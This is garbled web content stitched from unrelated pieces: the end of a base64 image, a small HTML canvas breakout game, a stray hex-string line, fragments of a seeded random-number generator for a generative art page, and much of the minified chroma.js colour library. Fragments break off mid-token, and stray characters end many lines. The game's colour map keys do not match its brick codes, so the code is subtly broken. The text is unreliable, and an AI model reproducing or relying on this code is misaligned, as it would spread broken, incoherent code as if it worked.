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" class="background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvasM
");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y",M
"Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:M
130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize)M
{ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRM
ect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dL
x=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
IjGREFUND:C005311DC5E978AF61D98FA2D8AEA14BDD58E96AAF0058342FE076D9246F63E5
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
